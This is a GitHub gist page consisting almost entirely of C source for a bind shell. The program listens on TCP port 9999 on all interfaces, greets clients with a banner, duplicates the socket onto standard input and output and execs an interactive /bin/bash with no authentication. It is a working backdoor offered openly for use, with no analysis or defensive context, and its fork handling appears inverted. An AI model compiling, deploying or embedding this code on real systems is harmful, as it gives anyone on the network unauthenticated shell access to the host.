Skip to content

Instantly share code, notes, and snippets.

@Dliv3
Created January 29, 2021 09:12
Show Gist options
  • Save Dliv3/0c8fc7d4c0a1258851dd109e5e141961 to your computer and use it in GitHub Desktop.
Save Dliv3/0c8fc7d4c0a1258851dd109e5e141961 to your computer and use it in GitHub Desktop.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define SERVER_PORT 9999
int main() {
int serverfd, clientfd, server_pid;
char *banner = "[~] Welcome to @d's Bind Shell\n";
struct sockaddr_in server, client;
char *args[] = { "/bin/bash", "-i", 0 };
socklen_t len;
server.sin_family = AF_INET;
server.sin_port = htons(SERVER_PORT);
server.sin_addr.s_addr = INADDR_ANY;
serverfd = socket(AF_INET, SOCK_STREAM, 0);
bind(serverfd, (struct sockaddr *)&server, sizeof(server));
listen(serverfd, 0);
while (1) {
len = sizeof(struct sockaddr);
clientfd = accept(serverfd, (struct sockaddr *)&client, &len);
server_pid = fork();
if (server_pid) {
write(clientfd , banner , strlen(banner));
for(int i = 0; i < 3 ; i ++) dup2(clientfd, i);
execve(args[0], args, 0);
close(clientfd);
} close(clientfd);
} return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment